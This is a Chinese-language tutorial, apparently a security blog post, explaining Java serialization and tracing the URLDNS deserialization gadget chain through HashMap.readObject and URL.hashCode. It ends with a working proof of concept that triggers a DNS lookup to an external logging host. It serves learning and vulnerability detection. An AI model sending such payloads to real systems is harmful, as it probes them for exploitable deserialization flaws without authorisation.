世界上最简单的 java 链
先来看一下如何序列化/反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
package org.example;
import java.io.*;
public class App
{
public static void main( String[] args ) throws Exception
{
user user = new user();
user.setName("xiaoming");
//序列化输出
ObjectOutputStream out = new ObjectOutputStream(System.out);
out.writeObject(user);
System.out.println();
// 序列化写入文件
FileOutputStream file = new FileOutputStream("test.bin");
ObjectOutputStream fout = new ObjectOutputStream(file);
fout.writeObject(user);
// 序列化写入到变量中
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream jout = new ObjectOutputStream(bout);
jout.writeObject(user);
byte[] str = bout.toByteArray();
System.out.println(new String(str));
// 从变量中反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(str));
user user_d = (user) ois.readObject();
System.out.println(user_d.getName());
}
}
class user implements Serializable{
private String name;
public user() {
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
}
|
URLDNS链详解
原理
java.util.HashMap
重写了readObject
方法,在反序列化时调用hash
函数计算 key 的 hashCode,而java.net.URL
的 hashCode 在计算时会调用getHostAddress
来解析域名,从而发出 DNS 请求
由HashMap 类readObject
引起,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
reinitialize();
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating. SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
|
在HashMap
的键名计算了 hash,
putVal(hash(key), key, value, false, false);
跟进查看一下
调用了key.hashCode()
,而这里的 key 是可控的,就是传入的java.net.URL
,跟进查看一下
这里hashCode==-1
,重新进行hashCode()
方法计算,跟进handler
查看调用了哪一个hashCode()
transient关键字,修饰 Java 序列化对象时,不需要序列化属性
也就是handler
属性不参与序列化,直接跟进URLStreamHandler
查看一下
这里调用了getHostAddress
跟进查看一下
又调用了java.net.URL
的getHostAddress
方法
继续跟进
进入到InetAddress.getByName(host);
便会触发DNS
请求
继续回到readObject()
中,看看如何给key
赋值
key
是从K key = (K) s.readObject();
这串代码,也就是readObject
中得到的,说明之前是writeObject
会写入 key
HashMap#writeObject
进入了internalWriteEntries()
跟进查看
这里的key
以及value
是从 tab 中取的,而 tab 的值即HashMap
中 table 的值。
想要修改table的值,就需要调用HashMap#put
方法,而HashMap#put方法中也会对key调用一次hash方法,所以这里也会产生一次dns查询
为了避免这次 dns 查询,我们将hashCode设置不为-1
的其他值
构造完整poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap hashmap = new HashMap();
URL url = new URL("http://47894df839.ipv6.1433.eu.org");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1);
hashmap.put(url,1);
f.set(url,-1);
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(b);
oos.writeObject(hashmap);
byte[] str = b.toByteArray();
System.out.println(str);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(str));
ois.readObject();
}
}
|
调用栈如下